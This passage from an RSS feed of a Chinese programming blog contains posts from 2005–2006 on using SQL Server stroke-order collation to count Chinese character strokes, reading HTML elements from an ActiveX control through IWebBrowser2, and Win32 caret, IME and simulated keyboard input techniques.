<P>insert #t select 1,'三' <BR>union all select 2,'乙' <BR>union all select 3,'二' <BR>union all select 4,'一' <BR>union all select 5,'十' <BR>select * from #t order by name collate Chinese_PRC_Stroke_CS_AS_KS_WS <BR>drop table #t <BR>/*结果： <BR>id name <BR>----------- -------------------- <BR>4 一 <BR>2 乙 <BR>3 二 <BR>5 十 <BR>1 三 <BR>*/ </P>
<P>四.在实践中排序规则应用的扩展 <BR>　　SQL SERVER汉字排序规则可以按拼音、笔划等排序，那么我们如何利用这种功能 <BR>来处理汉字的一些难题呢？我现在举个例子： </P>
<P>　　　　　　　　　　用排序规则的特性计算汉字笔划 </P>
<P>　　要计算汉字笔划，我们得先做准备工作，我们知道，WINDOWS多国汉字，UNICODE目前 <BR>收录汉字共20902个。简体GBK码汉字UNICODE值从19968开始。 <BR>　　首先，我们先用SQLSERVER方法得到所有汉字，不用字典，我们简单利用SQL语句就 <BR>可以得到： </P>
<P>select top 20902 code=identity(int,19968,1) into #t from syscolumns a,syscolumns b </P>
<P>再用以下语句，我们就得到所有汉字，它是按UNICODE值排序的： </P>
<P>　　select code,nchar(code) as CNWord from #t </P>
<P>　　然后，我们用SELECT语句，让它按笔划排序。 </P>
<P>select code,nchar(code) as CNWord <BR>from #t <BR>order by nchar(code) collate Chinese_PRC_Stroke_CS_AS_KS_WS,code </P>
<P>结果： <BR>code CNWord <BR>----------- ------ <BR>19968 一 <BR>20008 丨 <BR>20022 丶 <BR>20031 丿 <BR>20032 乀 <BR>20033 乁 <BR>20057 乙 <BR>20058 乚 <BR>20059 乛 <BR>20101 亅 <BR>19969 丁 <BR>.......... </P>
<P>　 从上面的结果，我们可以清楚的看到，一笔的汉字，code是从19968到20101，从小到大排，但到 <BR>了二笔汉字的第一个字“丁”，CODE为19969，就不按顺序而重新开始了。有了这结果，我们就可以轻 <BR>松的用SQL语句得到每种笔划汉字归类的第一个或最后一个汉字。 <BR>下面用语句得到最后一个汉字： </P>
<P>create table #t1(id int identity,code int,cnword nvarchar(2)) </P>
<P>insert #t1(code,cnword) <BR>select code,nchar(code) as CNWord from #t <BR>order by nchar(code) collate Chinese_PRC_Stroke_CS_AS_KS_WS,code </P>
<P><BR>select A.cnword <BR>from #t1 A <BR>left join #t1 B on A.id=B.id-1 and A.code&lt;B.code <BR>where B.code is null <BR>order by A.id </P>
<P>得到36个汉字，每个汉字都是每种笔划数按Chinese_PRC_Stroke_CS_AS_KS_WS排序规则排序后的 <BR>最后一个汉字： </P>
<P>亅阝马风龙齐龟齿鸩龀龛龂龆龈龊龍龠龎龐龑龡龢龝齹龣龥齈龞麷鸞麣龖龗齾齉龘 </P>
<P>　　上面可以看出：“亅”是所有一笔汉字排序后的最后一个字，“阝”是所有二笔汉字排序后的最后 <BR>一个字......等等。 <BR>　　但同时也发现，从第33个汉字“龗(33笔)”后面的笔划有些乱，不正确。但没关系，比“龗”笔划 <BR>多的只有四个汉字，我们手工加上：齾35笔，齉36笔，靐39笔，龘64笔 </P>
<P>建汉字笔划表（TAB_HZBH）： <BR>create table tab_hzbh(id int identity,cnword nchar(1)) <BR>--先插入前33个汉字 <BR>insert tab_hzbh <BR>select top 33 A.cnword <BR>from #t1 A <BR>left join #t1 B on A.id=B.id-1 and <BR>----------------- </P>
<P>&nbsp;</P><img src ="http://www.cnitblog.com/Raistlin/aggbug/6478.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-02-07 09:59 <a href="http://www.cnitblog.com/Raistlin/archive/2006/02/07/6478.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>占个坑</title><link>http://www.cnitblog.com/Raistlin/archive/2006/01/31/6406.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Tue, 31 Jan 2006 06:07:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/01/31/6406.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/6406.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/01/31/6406.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/6406.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/6406.html</trackback:ping><description><![CDATA[2006年，憋了一个月，最后一天占个坑。<BR><BR>C++ FAQ LITE <A href="http://www.sunistudio.com/cppfaq/">http://www.sunistudio.com/cppfaq/</A><BR>翻译得不错。访问了译者的主页和blog，一位执着的创业者，似乎有点理想主义，还是挺让我佩服的。<BR>在我看来软件分为四种<BR>{做得出来的，做不出来的}*{卖得出去的，卖不出去的}<BR>前面是技术的问题，后面是市场的问题。大部分时候还是市场的问题。<img src ="http://www.cnitblog.com/Raistlin/aggbug/6406.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-01-31 14:07 <a href="http://www.cnitblog.com/Raistlin/archive/2006/01/31/6406.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Activex和ie 浏览器的互动</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/30/5924.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Fri, 30 Dec 2005 09:51:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/30/5924.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5924.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/30/5924.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5924.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5924.html</trackback:ping><description><![CDATA[<P>今天中午看到一个电子签名的软件。一看，惊艳！<BR>activex控件直接读取html元素的值，比如&lt;input type="text"&gt;&lt;/input&gt;<BR><BR>实在是牛啊！俺一开始以为是用javascript来做的.查看了例子的源代码后发现不是.<BR><BR>那么这个acitvex控件至少应该可以获得ie 浏览器的接口IWebBrowser2,但它是怎么做的呢?<BR><BR>一开始我的思路是:ie浏览器作为一个容器,它是否同时实现了IOleContainer和IWebBrowser2?试验发现不对...经过多方google,找到CSDN中shanhe的专栏<A href="http://blog.csdn.net/shanhe/category/15859.aspx?PageNumber=2">http://blog.csdn.net/shanhe/category/15859.aspx?PageNumber=2</A><BR>找到可行的代码如下:</P>
<P>IOleContainer* pContainer;<BR>HRESULT hr = m_pClientSite-&gt;GetContainer(&amp;pContainer);<BR>if (FAILED(hr))<BR>&nbsp;&nbsp;&nbsp; return hr;</P>
<P>IServiceProvider* pServiceProvider;<BR>hr = pContainer-&gt;QueryInterface(IID_IServiceProvider,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (void**)&amp;pServiceProvider);<BR>pContainer-&gt;Release();<BR>if (FAILED(hr))<BR>&nbsp;&nbsp;&nbsp; return hr;</P>
<P>IWebBrowser2* pWebBrowser;<BR>hr = pServiceProvider-&gt;QueryService(SID_SWebBrowserApp,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IID_IWebBrowser2,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (void**)&amp;pWebBrowser);<BR>pServiceProvider-&gt;Release();<BR>if (FAILED(hr))<BR>&nbsp;&nbsp;&nbsp; return hr;<BR><BR>可以获取了IWebBrowser2接口,但如何读取html元素的值呢?IWebBrowser2接口似乎没有这个功能?<BR><BR>又是千山万水的google:<BR>vckbase:<BR><A href="http://vckbase.net/document/viewdoc/?id=1446">http://vckbase.net/document/viewdoc/?id=1446</A><BR>codeguru:<BR><A href="http://www.codeguru.com/Cpp/COM-Tech/atl/misc/article.php/c3619/">http://www.codeguru.com/Cpp/COM-Tech/atl/misc/article.php/c3619/</A><A href="http://tech.163.com/05/0420/13/1HPMEUVJ00091589.html http://vckbase.net/document/viewdoc/?id=1446http://www.codeguru.com/Cpp/COM-Tech/atl/misc/article.php/c3619/"><BR></A></P><A href="/Raistlin/images/cnitblog_com/raistlin/iehtmlelement.jpg"></A>
<P><A href="/images/cnitblog_com/raistlin/iehtmlelement.jpg" target=_blank><IMG height=193 alt=iehtmlelement.jpg src="http://www.cnitblog.com/images/cnitblog_com/raistlin/iehtmlelement.jpg" width=400 border=0>&nbsp;</A><BR><BR><BR>msdn 2003 :<BR>MSHTML ReferenceHOWTO: Get the WebBrowser Object Model of an HTML Frame<BR>HOWTO: Retrieve the URL of a Web Page from an ActiveX Control</P>
<P>msdn关于MSHTML的参考也够烂，列出一堆接口方法就不管了。究竟结构如何要自己去研究。总之很是不爽。</P><img src ="http://www.cnitblog.com/Raistlin/aggbug/5924.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-30 17:51 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/30/5924.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于键盘输入和输入法的记录</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5592.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 07:10:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5592.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5592.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5592.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5592.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5592.html</trackback:ping><description><![CDATA[<STRONG>关于光标的一些函数<BR></STRONG>BOOL CreateCaret(HWND hWnd,HBITMAP hBitmap,int nWidth,int nHeight);为窗口创建光标<BR>BOOL DestroyCaret();销毁光标<BR>UINT GetCaretBlinkTime();光标闪烁间隔时间<BR>BOOL GetCaretPos(LPPOINT lpPoint);光标在当前窗口的client位置<BR>BOOL HideCaret(HWND hWnd);隐藏<BR>BOOL SetCaretBlinkTime(UINT uMSeconds);光标闪烁间隔时间<BR>BOOL SetCaretPos(int X,int Y);位置<BR>BOOL ShowCaret(HWND hWnd);显示<BR><BR>CWnd::CreateCaret<BR>CWnd::CreateSolidCaret<BR>CWnd::CreateGrayCaret<BR>CWnd::GetCaretPos<BR>CWnd::SetCaretPos<BR>CWnd::HideCaret<BR>CWnd::ShowCaret<BR><BR><STRONG>为其它进程模拟输入字符：</STRONG><BR>摘自<A href="http://www.pcbookcn.com/article/1113.htm">http://www.pcbookcn.com/article/1113.htm</A><BR>　　首先要知道在Windows系统中与键盘按键相关的消息有：WM_KEYDOWN、WM_KEYUP、 WM_SYSKEYDOWN、WM_SYSKEYUP、WM_CHAR等。其中，WM_KEYDOWN为键按下，WM_KEYUP为键弹起，WM_SYSKEYDOWN为系统键按下，WM_SYSKEYUP为系统键弹起，WM_CHAR为按键对应的字符。<BR>　　要模拟键盘产生键盘消息，我们就发送一条键盘消息给指定窗口。比如要模拟一个字母键“A”，可以这样:PostMessage(hWnd, WM_CHAR, 'A', 0); 模拟按一个回车：PostMessage(hWnd, WM_KEYDOWN, VK_RETURN, 0)。这里的关键问题是要确定窗口句柄（hWnd），使用GetFocus()函数可以得到键盘光标所在窗口句柄，但该函数只能得到当前进程内的窗口句柄。<BR>　　如果要得到其他应用程序的键盘光标所在窗口句柄，需要调用 AttachThreadInput()函数。该函数的作用就是将其他窗口线程的输入附加到本窗口线程的输入操作中，这样就可以调用GetFocus()函数得到其他窗口的句柄了。<BR><BR>AttachThreadInput()函数的原形如下: <BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">BOOL&nbsp;AttachThreadInput(&nbsp;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>DWORD&nbsp;idAttach,&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;需要附加的线程ID&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">DWORD&nbsp;idAttachTo,&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;附加到的线程ID&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">BOOL&nbsp;fAttach&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;true&nbsp;附加&nbsp;false&nbsp;取消&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">);&nbsp;</SPAN></DIV>函数使用的过程大致如下: <BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">HWND&nbsp;hWnd;&nbsp;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>hWnd&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetForegroundWindow();&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;得到当前窗口&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">&nbsp;(hWnd&nbsp;</SPAN><SPAN style="COLOR: #000000">==</SPAN><SPAN style="COLOR: #000000">&nbsp;Form1</SPAN><SPAN style="COLOR: #000000">-&gt;</SPAN><SPAN style="COLOR: #000000">Handle)&nbsp;</SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;排除程序本身的窗口&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">DWORD&nbsp;FormThreadID&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetCurrentThreadId();&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;本程序的线程ID&nbsp;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;当前窗口的线程ID&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">DWORD&nbsp;CWndThreadID&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetWindowThreadProcessId(hWnd,&nbsp;NULL);&nbsp;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;附加输入线程&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">AttachThreadInput(CWndThreadID,&nbsp;FormThreadID,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">true</SPAN><SPAN style="COLOR: #000000">);&nbsp;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;得到当前键盘光标所在的窗口&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">hWnd&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetFocus();&nbsp;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;取消附加的输入线程&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">AttachThreadInput(CWndThreadID,&nbsp;FormThreadID,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">false</SPAN><SPAN style="COLOR: #000000">);&nbsp;<BR></SPAN></DIV>hWnd就是当前键盘光标所在的窗口句柄。另外，经过测试发现，在Windows2000系统下发送字符消息（WM_CHAR）时，如果字符是一个汉字，则该字符对应的虚拟键盘码高位不为0，这样得到的字符就不正确。解决办法是做一个“与”运算: ch &amp; 0xFF就可以了。 <BR><BR><BR><STRONG>输入法的切换:</STRONG><BR>WM_INPUTLANGCHANGE<BR>platform sdk=&gt;User Interface Servic=&gt;windowing=&gt;windows=&gt;window reference =&gt;Messages<BR><BR><STRONG>关于输入法:</STRONG><BR>platform sdk=&gt;Windows Base Services=&gt;International Features=&gt;Input Method Editor<BR><BR><BR><STRONG>自己处理键盘输入要做的事：<BR></STRONG>如果你要自己处理键盘和输入法的输入而不用Eidt或richedit等控件的话，至少需要做以下处理以下消息WM_IME_STARTCOMPOSITION;WM_IME_ENDCOMPOSITION;WM_IME_COMPOSITION;<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">LRESULT&nbsp;CCaretStudyView::OnImeStartComposition(WPARAM&nbsp;wParam,&nbsp;LPARAM&nbsp;lParam)<BR><IMG id=Codehighlighter1_77_492_Open_Image onclick="this.style.display='none'; Codehighlighter1_77_492_Open_Text.style.display='none'; Codehighlighter1_77_492_Closed_Image.style.display='inline'; Codehighlighter1_77_492_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align=top><IMG id=Codehighlighter1_77_492_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_77_492_Closed_Text.style.display='none'; Codehighlighter1_77_492_Open_Image.style.display='inline'; Codehighlighter1_77_492_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedBlock.gif" align=top></SPAN><SPAN id=Codehighlighter1_77_492_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><IMG src="http://www.cnitblog.com/images/dot.gif"></SPAN><SPAN id=Codehighlighter1_77_492_Open_Text><SPAN style="COLOR: #000000">{<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;HIMC&nbsp;hIMC&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;::ImmGetContext(m_hWnd);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;COMPOSITIONFORM&nbsp;CompForm;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;CompForm.dwStyle&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;CFS_POINT;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;CompForm.ptCurrentPos.x&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">10</SPAN><SPAN style="COLOR: #000000">;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">用实际的值代替</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top></SPAN><SPAN style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;CompForm.ptCurrentPos.y&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">10</SPAN><SPAN style="COLOR: #000000">;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">用实际的值代替</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top></SPAN><SPAN style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;::ImmSetCompositionWindow(hIMC,&nbsp;</SPAN><SPAN style="COLOR: #000000">&amp;</SPAN><SPAN style="COLOR: #000000">CompForm);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">DropCaret();可在此处隐藏光标，在OnImeEndComposition消息处理中再显示光标</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top></SPAN><SPAN style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;::ImmReleaseContext(m_hWnd,&nbsp;hIMC);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;::DefWindowProc(m_hWnd,&nbsp;WM_IME_STARTCOMPOSITION,&nbsp;wParam,&nbsp;lParam);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</SPAN></SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top><BR><IMG id=Codehighlighter1_542_602_Open_Image onclick="this.style.display='none'; Codehighlighter1_542_602_Open_Text.style.display='none'; Codehighlighter1_542_602_Closed_Image.style.display='inline'; Codehighlighter1_542_602_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align=top><IMG id=Codehighlighter1_542_602_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_542_602_Closed_Text.style.display='none'; Codehighlighter1_542_602_Open_Image.style.display='inline'; Codehighlighter1_542_602_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedBlock.gif" align=top>LRESULT&nbsp;CCaretStudyView::OnImeEndComposition()&nbsp;</SPAN><SPAN id=Codehighlighter1_542_602_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><IMG src="http://www.cnitblog.com/images/dot.gif"></SPAN><SPAN id=Codehighlighter1_542_602_Open_Text><SPAN style="COLOR: #000000">{<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">ShowCaretAtCurrentPosition();</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top></SPAN><SPAN style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;Default();<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</SPAN></SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>LRESULT&nbsp;CCaretStudyView::OnImeComposition(WPARAM&nbsp;wParam,&nbsp;LPARAM&nbsp;lParam)<BR><IMG id=Codehighlighter1_677_1288_Open_Image onclick="this.style.display='none'; Codehighlighter1_677_1288_Open_Text.style.display='none'; Codehighlighter1_677_1288_Closed_Image.style.display='inline'; Codehighlighter1_677_1288_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align=top><IMG id=Codehighlighter1_677_1288_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_677_1288_Closed_Text.style.display='none'; Codehighlighter1_677_1288_Open_Image.style.display='inline'; Codehighlighter1_677_1288_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedBlock.gif" align=top></SPAN><SPAN id=Codehighlighter1_677_1288_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><IMG src="http://www.cnitblog.com/images/dot.gif"></SPAN><SPAN id=Codehighlighter1_677_1288_Open_Text><SPAN style="COLOR: #000000">{<BR><IMG id=Codehighlighter1_708_1267_Open_Image onclick="this.style.display='none'; Codehighlighter1_708_1267_Open_Text.style.display='none'; Codehighlighter1_708_1267_Closed_Image.style.display='inline'; Codehighlighter1_708_1267_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><IMG id=Codehighlighter1_708_1267_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_708_1267_Closed_Text.style.display='none'; Codehighlighter1_708_1267_Open_Image.style.display='inline'; Codehighlighter1_708_1267_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">&nbsp;(lParam&nbsp;</SPAN><SPAN style="COLOR: #000000">&amp;</SPAN><SPAN style="COLOR: #000000">&nbsp;GCS_RESULTSTR)&nbsp;</SPAN><SPAN id=Codehighlighter1_708_1267_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><IMG src="http://www.cnitblog.com/images/dot.gif"></SPAN><SPAN id=Codehighlighter1_708_1267_Open_Text><SPAN style="COLOR: #000000">{<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">get&nbsp;result&nbsp;text</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top></SPAN><SPAN style="COLOR: 